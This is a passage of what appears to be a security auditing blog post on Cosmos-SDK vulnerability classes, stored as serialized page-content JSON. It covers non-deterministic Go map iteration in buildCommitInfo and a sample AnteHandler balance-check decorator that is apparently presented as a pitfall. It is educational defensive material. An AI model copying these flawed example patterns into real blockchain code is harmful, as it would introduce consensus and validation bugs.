var",{"type":23,"tag":504,"props":79707,"children":79708},{"style":5041},[79709],{"type":29,"value":23432},{"type":23,"tag":504,"props":79711,"children":79712},{"style":5058},[79713],{"type":29,"value":78292},{"type":23,"tag":504,"props":79715,"children":79716},{"style":5467},[79717],{"type":29,"value":79399},{"type":23,"tag":504,"props":79719,"children":79720},{"class":5016,"line":5203},[79721,79725,79729,79733,79737,79741],{"type":23,"tag":504,"props":79722,"children":79723},{"style":5067},[79724],{"type":29,"value":5070},{"type":23,"tag":504,"props":79726,"children":79727},{"style":5041},[79728],{"type":29,"value":7977},{"type":23,"tag":504,"props":79730,"children":79731},{"style":5047},[79732],{"type":29,"value":78481},{"type":23,"tag":504,"props":79734,"children":79735},{"style":5067},[79736],{"type":29,"value":79463},{"type":23,"tag":504,"props":79738,"children":79739},{"style":5041},[79740],{"type":29,"value":79468},{"type":23,"tag":504,"props":79742,"children":79743},{"style":5058},[79744],{"type":29,"value":5333},{"type":23,"tag":504,"props":79746,"children":79747},{"class":5016,"line":5308},[79748,79752,79756,79761,79765,79769,79773,79777],{"type":23,"tag":504,"props":79749,"children":79750},{"style":5041},[79751],{"type":29,"value":27384},{"type":23,"tag":504,"props":79753,"children":79754},{"style":5047},[79755],{"type":29,"value":5050},{"type":23,"tag":504,"props":79757,"children":79758},{"style":5139},[79759],{"type":29,"value":79760}," append",{"type":23,"tag":504,"props":79762,"children":79763},{"style":5058},[79764],{"type":29,"value":603},{"type":23,"tag":504,"props":79766,"children":79767},{"style":5041},[79768],{"type":29,"value":23035},{"type":23,"tag":504,"props":79770,"children":79771},{"style":5058},[79772],{"type":29,"value":4367},{"type":23,"tag":504,"props":79774,"children":79775},{"style":5041},[79776],{"type":29,"value":74219},{"type":23,"tag":504,"props":79778,"children":79779},{"style":5058},[79780],{"type":29,"value":5200},{"type":23,"tag":504,"props":79782,"children":79783},{"class":5016,"line":5336},[79784],{"type":23,"tag":504,"props":79785,"children":79786},{"style":5058},[79787],{"type":29,"value":5403},{"type":23,"tag":504,"props":79789,"children":79790},{"class":5016,"line":5349},[79791,79796,79800,79805,79809,79813],{"type":23,"tag":504,"props":79792,"children":79793},{"style":5041},[79794],{"type":29,"value":79795},"    sort",{"type":23,"tag":504,"props":79797,"children":79798},{"style":5058},[79799],{"type":29,"value":357},{"type":23,"tag":504,"props":79801,"children":79802},{"style":5139},[79803],{"type":29,"value":79804},"Strings",{"type":23,"tag":504,"props":79806,"children":79807},{"style":5058},[79808],{"type":29,"value":603},{"type":23,"tag":504,"props":79810,"children":79811},{"style":5041},[79812],{"type":29,"value":23035},{"type":23,"tag":504,"props":79814,"children":79815},{"style":5058},[79816],{"type":29,"value":5200},{"type":23,"tag":504,"props":79818,"children":79819},{"class":5016,"line":5367},[79820],{"type":23,"tag":504,"props":79821,"children":79822},{"emptyLinePlaceholder":15},[79823],{"type":29,"value":5734},{"type":23,"tag":504,"props":79825,"children":79826},{"class":5016,"line":5388},[79827,79831,79835,79839,79843,79847,79851,79855],{"type":23,"tag":504,"props":79828,"children":79829},{"style":5067},[79830],{"type":29,"value":5070},{"type":23,"tag":504,"props":79832,"children":79833},{"style":5041},[79834],{"type":29,"value":5075},{"type":23,"tag":504,"props":79836,"children":79837},{"style":5058},[79838],{"type":29,"value":4367},{"type":23,"tag":504,"props":79840,"children":79841},{"style":5041},[79842],{"type":29,"value":74219},{"type":23,"tag":504,"props":79844,"children":79845},{"style":5047},[79846],{"type":29,"value":78481},{"type":23,"tag":504,"props":79848,"children":79849},{"style":5067},[79850],{"type":29,"value":79463},{"type":23,"tag":504,"props":79852,"children":79853},{"style":5041},[79854],{"type":29,"value":23432},{"type":23,"tag":504,"props":79856,"children":79857},{"style":5058},[79858],{"type":29,"value":5333},{"type":23,"tag":504,"props":79860,"children":79861},{"class":5016,"line":5397},[79862,79866,79870,79874,79878,79882],{"type":23,"tag":504,"props":79863,"children":79864},{"style":5041},[79865],{"type":29,"value":28239},{"type":23,"tag":504,"props":79867,"children":79868},{"style":5058},[79869],{"type":29,"value":357},{"type":23,"tag":504,"props":79871,"children":79872},{"style":5041},[79873],{"type":29,"value":79488},{"type":23,"tag":504,"props":79875,"children":79876},{"style":5058},[79877],{"type":29,"value":357},{"type":23,"tag":504,"props":79879,"children":79880},{"style":5139},[79881],{"type":29,"value":79497},{"type":23,"tag":504,"props":79883,"children":79884},{"style":5058},[79885],{"type":29,"value":5512},{"type":23,"tag":504,"props":79887,"children":79888},{"class":5016,"line":5649},[79889,79893,79897,79901],{"type":23,"tag":504,"props":79890,"children":79891},{"style":5041},[79892],{"type":29,"value":79509},{"type":23,"tag":504,"props":79894,"children":79895},{"style":5058},[79896],{"type":29,"value":357},{"type":23,"tag":504,"props":79898,"children":79899},{"style":5139},[79900],{"type":29,"value":79518},{"type":23,"tag":504,"props":79902,"children":79903},{"style":5058},[79904],{"type":29,"value":5512},{"type":23,"tag":504,"props":79906,"children":79907},{"class":5016,"line":5666},[79908,79912],{"type":23,"tag":504,"props":79909,"children":79910},{"style":6297},[79911],{"type":29,"value":79530},{"type":23,"tag":504,"props":79913,"children":79914},{"style":5058},[79915],{"type":29,"value":5557},{"type":23,"tag":504,"props":79917,"children":79918},{"class":5016,"line":5683},[79919,79923,79927,79931,79935,79939,79943,79947,79951,79955],{"type":23,"tag":504,"props":79920,"children":79921},{"style":5041},[79922],{"type":29,"value":79542},{"type":23,"tag":504,"props":79924,"children":79925},{"style":5058},[79926],{"type":29,"value":357},{"type":23,"tag":504,"props":79928,"children":79929},{"style":5139},[79930],{"type":29,"value":79551},{"type":23,"tag":504,"props":79932,"children":79933},{"style":5058},[79934],{"type":29,"value":603},{"type":23,"tag":504,"props":79936,"children":79937},{"style":5041},[79938],{"type":29,"value":74219},{"type":23,"tag":504,"props":79940,"children":79941},{"style":5058},[79942],{"type":29,"value":4367},{"type":23,"tag":504,"props":79944,"children":79945},{"style":5041},[79946],{"type":29,"value":79427},{"type":23,"tag":504,"props":79948,"children":79949},{"style":5058},[79950],{"type":29,"value":1380},{"type":23,"tag":504,"props":79952,"children":79953},{"style":5041},[79954],{"type":29,"value":74219},{"type":23,"tag":504,"props":79956,"children":79957},{"style":5058},[79958],{"type":29,"value":79959},"]),\n",{"type":23,"tag":504,"props":79961,"children":79962},{"class":5016,"line":5696},[79963],{"type":23,"tag":504,"props":79964,"children":79965},{"style":5058},[79966],{"type":29,"value":79579},{"type":23,"tag":504,"props":79968,"children":79969},{"class":5016,"line":5705},[79970],{"type":23,"tag":504,"props":79971,"children":79972},{"style":5058},[79973],{"type":29,"value":70384},{"type":23,"tag":504,"props":79975,"children":79976},{"class":5016,"line":5728},[79977],{"type":23,"tag":504,"props":79978,"children":79979},{"style":5058},[79980],{"type":29,"value":5403},{"type":23,"tag":504,"props":79982,"children":79983},{"class":5016,"line":5737},[79984],{"type":23,"tag":504,"props":79985,"children":79986},{"style":5058},[79987],{"type":29,"value":5965},{"type":23,"tag":32,"props":79989,"children":79990},{},[79991],{"type":29,"value":79992},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":320,"props":79994,"children":79996},{"id":79995},"real-world-examples-1",[79997],{"type":29,"value":78754},{"type":23,"tag":32,"props":79999,"children":80000},{},[80001,80003,80008,80010,80016,80018,80024,80026,80032],{"type":29,"value":80002},"Real-world examples of ",{"type":23,"tag":154,"props":80004,"children":80006},{"className":80005},[],[80007],{"type":29,"value":69165},{"type":29,"value":80009}," causing determinism problems can be found ",{"type":23,"tag":68,"props":80011,"children":80014},{"href":80012,"rel":80013},"https://github.com/cosmos/cosmos-sdk/pull/12487",[72],[80015],{"type":29,"value":49647},{"type":29,"value":80017},", specifically, where the result of ",{"type":23,"tag":154,"props":80019,"children":80021},{"className":80020},[],[80022],{"type":29,"value":80023},"buildCommitInfo",{"type":29,"value":80025}," is inconsistent due to iteration over the ",{"type":23,"tag":154,"props":80027,"children":80029},{"className":80028},[],[80030],{"type":29,"value":80031},"rs.stores",{"type":29,"value":80033}," map.",{"type":23,"tag":32,"props":80035,"children":80036},{},[80037],{"type":23,"tag":68,"props":80038,"children":80041},{"href":80039,"rel":80040},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[72],[80042],{"type":29,"value":78804},{"type":23,"tag":4743,"props":80044,"children":80046},{"code":80045,"language":78229,"meta":7,"className":78230,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[80047],{"type":23,"tag":154,"props":80048,"children":80049},{"__ignoreMap":7},[80050,80087,80100,80128,80162,80207,80253,80261,80268,80313,80343,80372,80379,80386,80413,80435,80455,80462],{"type":23,"tag":504,"props":80051,"children":80052},{"class":5016,"line":5017},[80053,80057,80061,80066,80070,80075,80079,80083],{"type":23,"tag":504,"props":80054,"children":80055},{"style":5030},[80056],{"type":29,"value":78365},{"type":23,"tag":504,"props":80058,"children":80059},{"style":5058},[80060],{"type":29,"value":5110},{"type":23,"tag":504,"props":80062,"children":80063},{"style":5041},[80064],{"type":29,"value":80065},"rs ",{"type":23,"tag":504,"props":80067,"children":80068},{"style":5047},[80069],{"type":29,"value":6613},{"type":23,"tag":504,"props":80071,"children":80072},{"style":5467},[80073],{"type":29,"value":80074},"Store",{"type":23,"tag":504,"props":80076,"children":80077},{"style":5058},[80078],{"type":29,"value":5128},{"type":23,"tag":504,"props":80080,"children":80081},{"style":5139},[80082],{"type":29,"value":80023},{"type":23,"tag":504,"props":80084,"children":80085},{"style":5058},[80086],{"type":29,"value":5512},{"type":23,"tag":504,"props":80088,"children":80089},{"class":5016,"line":4868},[80090,80095],{"type":23,"tag":504,"props":80091,"children":80092},{"style":5041},[80093],{"type":29,"value":80094},"    version",{"type":23,"tag":504,"props":80096,"children":80097},{"style":5467},[80098],{"type":29,"value":80099}," int64\n",{"type":23,"tag":504,"props":80101,"children":80102},{"class":5016,"line":4876},[80103,80107,80111,80115,80119,80124],{"type":23,"tag":504,"props":80104,"children":80105},{"style":5058},[80106],{"type":29,"value":5128},{"type":23,"tag":504,"props":80108,"children":80109},{"style":5047},[80110],{"type":29,"value":6613},{"type":23,"tag":504,"props":80112,"children":80113},{"style":5467},[80114],{"type":29,"value":7804},{"type":23,"tag":504,"props":80116,"children":80117},{"style":5058},[80118],{"type":29,"value":357},{"type":23,"tag":504,"props":80120,"children":80121},{"style":5467},[80122],{"type":29,"value":80123},"CommitInfo",{"type":23,"tag":504,"props":80125,"children":80126},{"style":5058},[80127],{"type":29,"value":5333},{"type":23,"tag":504,"props":80129,"children":80130},{"class":5016,"line":5099},[80131,80136,80140,80144,80148,80152,80157],{"type":23,"tag":504,"props":80132,"children":80133},{"style":5041},[80134],{"type":29,"value":80135},"    storeInfos",{"type":23,"tag":504,"props":80137,"children":80138},{"style":5047},[80139],{"type":29,"value":78481},{"type":23,"tag":504,"props":80141,"children":80142},{"style":5058},[80143],{"type":29,"value":78292},{"type":23,"tag":504,"props":80145,"children":80146},{"style":5467},[80147],{"type":29,"value":7804},{"type":23,"tag":504,"props":80149,"children":80150},{"style":5058},[80151],{"type":29,"value":357},{"type":23,"tag":504,"props":80153,"children":80154},{"style":5467},[80155],{"type":29,"value":80156},"StoreInfo",{"type":23,"tag":504,"props":80158,"children":80159},{"style":5058},[80160],{"type":29,"value":80161},"{}\n",{"type":23,"tag":504,"props":80163,"children":80164},{"class":5016,"line":5203},[80165,80169,80173,80177,80181,80185,80189,80194,80198,80203],{"type":23,"tag":504,"props":80166,"children":80167},{"style":5067},[80168],{"type":29,"value":5070},{"type":23,"tag":504,"props":80170,"children":80171},{"style":5041},[80172],{"type":29,"value":7977},{"type":23,"tag":504,"props":80174,"children":80175},{"style":5058},[80176],{"type":29,"value":4367},{"type":23,"tag":504,"props":80178,"children":80179},{"style":5041},[80180],{"type":29,"value":7986},{"type":23,"tag":504,"props":80182,"children":80183},{"style":5047},[80184],{"type":29,"value":78481},{"type":23,"tag":504,"props":80186,"children":80187},{"style":5067},[80188],{"type":29,"value":79463},{"type":23,"tag":504,"props":80190,"children":80191},{"style":5041},[80192],{"type":29,"value":80193}," rs",{"type":23,"tag":504,"props":80195,"children":80196},{"style":5058},[80197],{"type":29,"value":357},{"type":23,"tag":504,"props":80199,"children":80200},{"style":5041},[80201],{"type":29,"value":80202},"stores",{"type":23,"tag":504,"props":80204,"children":80205},{"style":5058},[80206],{"type":29,"value":5333},{"type":23,"tag":504,"props":80208,"children":80209},{"class":5016,"line":5308},[80210,80214,80218,80222,80227,80231,80235,80240,80244,80249],{"type":23,"tag":504,"props":80211,"children":80212},{"style":5067},[80213],{"type":29,"value":5314},{"type":23,"tag":504,"props":80215,"children":80216},{"style":5041},[80217],{"type":29,"value":7876},{"type":23,"tag":504,"props":80219,"children":80220},{"style":5058},[80221],{"type":29,"value":357},{"type":23,"tag":504,"props":80223,"children":80224},{"style":5139},[80225],{"type":29,"value":80226},"GetStoreType",{"type":23,"tag":504,"props":80228,"children":80229},{"style":5058},[80230],{"type":29,"value":16089},{"type":23,"tag":504,"props":80232,"children":80233},{"style":5047},[80234],{"type":29,"value":1224},{"type":23,"tag":504,"props":80236,"children":80237},{"style":5041},[80238],{"type":29,"value":80239}," types",{"type":23,"tag":504,"props":80241,"children":80242},{"style":5058},[80243],{"type":29,"value":357},{"type":23,"tag":504,"props":80245,"children":80246},{"style":5041},[80247],{"type":29,"value":80248},"StoreTypeTransient",{"type":23,"tag":504,"props":80250,"children":80251},{"style":5058},[80252],{"type":29,"value":5333},{"type":23,"tag":504,"props":80254,"children":80255},{"class":5016,"line":5336},[80256],{"type":23,"tag":504,"props":80257,"children":80258},{"style":5067},[80259],{"type":29,"value":80260},"            continue\n",{"type":23,"tag":504,"props":80262,"children":80263},{"class":5016,"line":5349},[80264],{"type":23,"tag":504,"props":80265,"children":80266},{"style":5058},[80267],{"type":29,"value":5394},{"type":23,"tag":504,"props":80269,"children":80270},{"class":5016,"line":5367},[80271,80276,80280,80284,80288,80293,80297,80301,80305,80309],{"type":23,"tag":504,"props":80272,"children":80273},{"style":5041},[80274],{"type":29,"value":80275},"        storeInfos",{"type":23,"tag":504,"props":80277,"children":80278},{"style":5047},[80279],{"type":29,"value":5050},{"type":23,"tag":504,"props":80281,"children":80282},{"style":5139},[80283],{"type":29,"value":79760},{"type":23,"tag":504,"props":80285,"children":80286},{"style":5058},[80287],{"type":29,"value":603},{"type":23,"tag":504,"props":80289,"children":80290},{"style":5041},[80291],{"type":29,"value":80292},"storeInfos",{"type":23,"tag":504,"props":80294,"children":80295},{"style":5058},[80296],{"type":29,"value":4367},{"type":23,"tag":504,"props":80298,"children":80299},{"style":5467},[80300],{"type":29,"value":7804},{"type":23,"tag":504,"props":80302,"children":80303},{"style":5058},[80304],{"type":29,"value":357},{"type":23,"tag":504,"props":80306,"children":80307},{"style":5467},[80308],{"type":29,"value":80156},{"type":23,"tag":504,"props":80310,"children":80311},{"style":5058},[80312],{"type":29,"value":12926},{"type":23,"tag":504,"props":80314,"children":80315},{"class":5016,"line":5388},[80316,80321,80326,80330,80334,80339],{"type":23,"tag":504,"props":80317,"children":80318},{"style":5041},[80319],{"type":29,"value":80320},"            Name",{"type":23,"tag":504,"props":80322,"children":80323},{"style":5058},[80324],{"type":29,"value":80325},":     ",{"type":23,"tag":504,"props":80327,"children":80328},{"style":5041},[80329],{"type":29,"value":74219},{"type":23,"tag":504,"props":80331,"children":80332},{"style":5058},[80333],{"type":29,"value":357},{"type":23,"tag":504,"props":80335,"children":80336},{"style":5139},[80337],{"type":29,"value":80338},"Name",{"type":23,"tag":504,"props":80340,"children":80341},{"style":5058},[80342],{"type":29,"value":5540},{"type":23,"tag":504,"props":80344,"children":80345},{"class":5016,"line":5397},[80346,80351,80355,80359,80363,80368],{"type":23,"tag":504,"props":80347,"children":80348},{"style":5041},[80349],{"type":29,"value":80350},"            CommitId",{"type":23,"tag":504,"props":80352,"children":80353},{"style":5058},[80354],{"type":29,"value":17378},{"type":23,"tag":504,"props":80356,"children":80357},{"style":5041},[80358],{"type":29,"value":7986},{"type":23,"tag":504,"props":80360,"children":80361},{"style":5058},[80362],{"type":29,"value":357},{"type":23,"tag":504,"props":80364,"children":80365},{"style":5139},[80366],{"type":29,"value":80367},"LastCommitID",{"type":23,"tag":504,"props":80369,"children":80370},{"style":5058},[80371],{"type":29,"value":5540},{"type":23,"tag":504,"props":80373,"children":80374},{"class":5016,"line":5649},[80375],{"type":23,"tag":504,"props":80376,"children":80377},{"style":5058},[80378],{"type":29,"value":70261},{"type":23,"tag":504,"props":80380,"children":80381},{"class":5016,"line":5666},[80382],{"type":23,"tag":504,"props":80383,"children":80384},{"style":5058},[80385],{"type":29,"value":5403},{"type":23,"tag":504,"props":80387,"children":80388},{"class":5016,"line":5683},[80389,80393,80397,80401,80405,80409],{"type":23,"tag":504,"props":80390,"children":80391},{"style":5067},[80392],{"type":29,"value":19037},{"type":23,"tag":504,"props":80394,"children":80395},{"style":5047},[80396],{"type":29,"value":9185},{"type":23,"tag":504,"props":80398,"children":80399},{"style":5467},[80400],{"type":29,"value":7804},{"type":23,"tag":504,"props":80402,"children":80403},{"style":5058},[80404],{"type":29,"value":357},{"type":23,"tag":504,"props":80406,"children":80407},{"style":5467},[80408],{"type":29,"value":80123},{"type":23,"tag":504,"props":80410,"children":80411},{"style":5058},[80412],{"type":29,"value":12926},{"type":23,"tag":504,"props":80414,"children":80415},{"class":5016,"line":5696},[80416,80421,80426,80431],{"type":23,"tag":504,"props":80417,"children":80418},{"style":5041},[80419],{"type":29,"value":80420},"        Version",{"type":23,"tag":504,"props":80422,"children":80423},{"style":5058},[80424],{"type":29,"value":80425},":    ",{"type":23,"tag":504,"props":80427,"children":80428},{"style":5041},[80429],{"type":29,"value":80430},"version",{"type":23,"tag":504,"props":80432,"children":80433},{"style":5058},[80434],{"type":29,"value":5557},{"type":23,"tag":504,"props":80436,"children":80437},{"class":5016,"line":5705},[80438,80443,80447,80451],{"type":23,"tag":504,"props":80439,"children":80440},{"style":5041},[80441],{"type":29,"value":80442},"        StoreInfos",{"type":23,"tag":504,"props":80444,"children":80445},{"style":5058},[80446],{"type":29,"value":17378},{"type":23,"tag":504,"props":80448,"children":80449},{"style":5041},[80450],{"type":29,"value":80292},{"type":23,"tag":504,"props":80452,"children":80453},{"style":5058},[80454],{"type":29,"value":5557},{"type":23,"tag":504,"props":80456,"children":80457},{"class":5016,"line":5728},[80458],{"type":23,"tag":504,"props":80459,"children":80460},{"style":5058},[80461],{"type":29,"value":5403},{"type":23,"tag":504,"props":80463,"children":80464},{"class":5016,"line":5737},[80465],{"type":23,"tag":504,"props":80466,"children":80467},{"style":5058},[80468],{"type":29,"value":5965},{"type":23,"tag":32,"props":80470,"children":80471},{},[80472,80474,80481,80482,80489],{"type":29,"value":80473},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":68,"props":80475,"children":80478},{"href":80476,"rel":80477},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[72],[80479],{"type":29,"value":80480},"time-sensitive functions",{"type":29,"value":4478},{"type":23,"tag":68,"props":80483,"children":80486},{"href":80484,"rel":80485},"https://github.com/cosmos/cosmos-sdk/issues/16638",[72],[80487],{"type":29,"value":80488},"race conditions",{"type":29,"value":357},{"type":23,"tag":24,"props":80491,"children":80493},{"id":80492},"thou-shalt-not-passor-should-you",[80494],{"type":29,"value":80495},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":32,"props":80497,"children":80498},{},[80499,80501,80507,80508,80514],{"type":29,"value":80500},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":154,"props":80502,"children":80504},{"className":80503},[],[80505],{"type":29,"value":80506},"msg.value",{"type":29,"value":4367},{"type":23,"tag":154,"props":80509,"children":80511},{"className":80510},[],[80512],{"type":29,"value":80513},"msg.sender",{"type":29,"value":80515},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":32,"props":80517,"children":80518},{},[80519,80521,80527,80529,80535],{"type":29,"value":80520},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":154,"props":80522,"children":80524},{"className":80523},[],[80525],{"type":29,"value":80526},"Cosmos-SDK",{"type":29,"value":80528}," introduces ",{"type":23,"tag":154,"props":80530,"children":80532},{"className":80531},[],[80533],{"type":29,"value":80534},"AnteHandler",{"type":29,"value":80536}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":32,"props":80538,"children":80539},{},[80540,80542,80547,80549,80554],{"type":29,"value":80541},"To provide context, let's first understand how an ",{"type":23,"tag":154,"props":80543,"children":80545},{"className":80544},[],[80546],{"type":29,"value":80534},{"type":29,"value":80548}," is processed. Each ",{"type":23,"tag":154,"props":80550,"children":80552},{"className":80551},[],[80553],{"type":29,"value":80534},{"type":29,"value":80555}," is a state transition function that can:",{"type":23,"tag":139,"props":80557,"children":80558},{},[80559,80564],{"type":23,"tag":143,"props":80560,"children":80561},{},[80562],{"type":29,"value":80563},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":143,"props":80565,"children":80566},{},[80567,80569],{"type":29,"value":80568},"Determine the course of action for the transaction.\n",{"type":23,"tag":139,"props":80570,"children":80571},{},[80572,80583],{"type":23,"tag":143,"props":80573,"children":80574},{},[80575,80577,80582],{"type":29,"value":80576},"Pass the transaction to the next ",{"type":23,"tag":154,"props":80578,"children":80580},{"className":80579},[],[80581],{"type":29,"value":80534},{"type":29,"value":357},{"type":23,"tag":143,"props":80584,"children":80585},{},[80586],{"type":29,"value":80587},"Return error for transaction.",{"type":23,"tag":32,"props":80589,"children":80590},{},[80591,80593,80598],{"type":29,"value":80592},"The bad news is that developing an ",{"type":23,"tag":154,"props":80594,"children":80596},{"className":80595},[],[80597],{"type":29,"value":80534},{"type":29,"value":80599}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":32,"props":80601,"children":80602},{},[80603,80604,80610],{"type":29,"value":18661},{"type":23,"tag":154,"props":80605,"children":80607},{"className":80606},[],[80608],{"type":29,"value":80609},"AnteHandle",{"type":29,"value":80611}," implementation may look something like this:",{"type":23,"tag":4743,"props":80613,"children":80615},{"code":80614,"language":78229,"meta":7,"className":78230,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[80616],{"type":23,"tag":154,"props":80617,"children":80618},{"__ignoreMap":7},[80619,80631,80647,80654,80661,80694,80718,80743,80759,80783,80815,80863,80882,80915,80936,80948,80955,80962,80969,80999,81035,81099,81133,81165,81177,81189,81196,81203,81210,81217,81259],{"type":23,"tag":504,"props":80620,"children":80621},{"class":5016,"line":5017},[80622,80626],{"type":23,"tag":504,"props":80623,"children":80624},{"style":5030},[80625],{"type":29,"value":11701},{"type":23,"tag":504,"props":80627,"children":80628},{"style":5058},[80629],{"type":29,"value":80630}," (\n",{"type":23,"tag":504,"props":80632,"children":80633},{"class":5016,"line":4868},[80634,80639,80643],{"type":23,"tag":504,"props":80635,"children":80636},{"style":5041},[80637],{"type":29,"value":80638},"    MIN_BALANCE",{"type":23,"tag":504,"props":80640,"children":80641},{"style":5047},[80642],{"type":29,"value":5050},{"type":23,"tag":504,"props":80644,"children":80645},{"style":5083},[80646],{"type":29,"value":21394},{"type":23,"tag":504,"props":80648,"children":80649},{"class":5016,"line":4876},[80650],{"type":23,"tag":504,"props":80651,"children":80652},{"style":5058},[80653],{"type":29,"value":5200},{"type":23,"tag":504,"props":80655,"children":80656},{"class":5016,"line":5099},[80657],{"type":23,"tag":504,"props":80658,"children":80659},{"emptyLinePlaceholder":15},[80660],{"type":29,"value":5734},{"type":23,"tag":504,"props":80662,"children":80663},{"class":5016,"line":5203},[80664,80668,80672,80677,80682,80686,80690],{"type":23,"tag":504,"props":80665,"children":80666},{"style":5030},[80667],{"type":29,"value":78365},{"type":23,"tag":504,"props":80669,"children":80670},{"style":5058},[80671],{"type":29,"value":5110},{"type":23,"tag":504,"props":80673,"children":80674},{"style":5041},[80675],{"type":29,"value":80676},"abd ",{"type":23,"tag":504,"props":80678,"children":80679},{"style":5467},[80680],{"type":29,"value":80681},"AccountBalanceDecorator",{"type":23,"tag":504,"props":80683,"children":80684},{"style":5058},[80685],{"type":29,"value":5128},{"type":23,"tag":504,"props":80687,"children":80688},{"style":5139},[80689],{"type":29,"value":80609},{"type":23,"tag":504,"props":80691,"children":80692},{"style":5058},[80693],{"type":29,"value":5512},{"type":23,"tag":504,"props":80695,"children":80696},{"class":5016,"line":5308},[80697,80701,80706,80710,80714],{"type":23,"tag":504,"props":80698,"children":80699},{"style":5041},[80700],{"type":29,"value":22276},{"type":23,"tag":504,"props":80702,"children":80703},{"style":5467},[80704],{"type":29,"value":80705}," sdk",{"type":23,"tag":504,"props":80707,"children":80708},{"style":5058},[80709],{"type":29,"value":357},{"type":23,"tag":504,"props":80711,"children":80712},{"style":5467},[80713],{"type":29,"value":78414},{"type":23,"tag":504,"props":80715,"children":80716},{"style":5058},[80717],{"type":29,"value":5557},{"type":23,"tag":504,"props":80719,"children":80720},{"class":5016,"line":5336},[80721,80726,80730,80734,80739],{"type":23,"tag":504,"props":80722,"children":80723},{"style":5041},[80724],{"type":29,"value":80725},"    tx",{"type":23,"tag":504,"props":80727,"children":80728},{"style":5467},[80729],{"type":29,"value":80705},{"type":23,"tag":504,"props":80731,"children":80732},{"style":5058},[80733],{"type":29,"value":357},{"type":23,"tag":504,"props":80735,"children":80736},{"style":5467},[80737],{"type":29,"value":80738},"Tx",{"type":23,"tag":504,"props":80740,"children":80741},{"style":5058},[80742],{"type":29,"value":5557},{"type":23,"tag":504,"props":80744,"children":80745},{"class":5016,"line":5349},[80746,80751,80755],{"type":23,"tag":504,"props":80747,"children":80748},{"style":5041},[80749],{"type":29,"value":80750},"    simulate",{"type":23,"tag":504,"props":80752,"children":80753},{"style":5467},[80754],{"type":29,"value":14096},{"type":23,"tag":504,"props":80756,"children":80757},{"style":5058},[80758],{"type":29,"value":5557},{"type":23,"tag":504,"props":80760,"children":80761},{"class":5016,"line":5367},[80762,80767,80771,80775,80779],{"type":23,"tag":504,"props":80763,"children":80764},{"style":5041},[80765],{"type":29,"value":80766},"    next",{"type":23,"tag":504,"props":80768,"children":80769},{"style":5467},[80770],{"type":29,"value":80705},{"type":23,"tag":504,"props":80772,"children":80773},{"style":5058},[80774],{"type":29,"value":357},{"type":23,"tag":504,"props":80776,"children":80777},{"style":5467},[80778],{"type":29,"value":80534},{"type":23,"tag":504,"props":80780,"children":80781},{"style":5058},[80782],{"type":29,"value":5557},{"type":23,"tag":504,"props":80784,"children":80785},{"class":5016,"line":5388},[80786,80790,80795,80799,80803,80807,80811],{"type":23,"tag":504,"props":80787,"children":80788},{"style":5058},[80789],{"type":29,"value":78447},{"type":23,"tag":504,"props":80791,"children":80792},{"style":5467},[80793],{"type":29,"value":80794},"sdk",{"type":23,"tag":504,"props":80796,"children":80797},{"style":5058},[80798],{"type":29,"value":357},{"type":23,"tag":504,"props":80800,"children":80801},{"style":5467},[80802],{"type":29,"value":78414},{"type":23,"tag":504,"props":80804,"children":80805},{"style":5058},[80806],{"type":29,"value":4367},{"type":23,"tag":504,"props":80808,"children":80809},{"style":5467},[80810],{"type":29,"value":16910},{"type":23,"tag":504,"props":80812,"children":80813},{"style":5058},[80814],{"type":29,"value":16850},{"type":23,"tag":504,"props":80816,"children":80817},{"class":5016,"line":5397},[80818,80823,80827,80832,80836,80840,80845,80850,80854,80859],{"type":23,"tag":504,"props":80819,"children":80820},{"style":5041},[80821],{"type":29,"value":80822},"    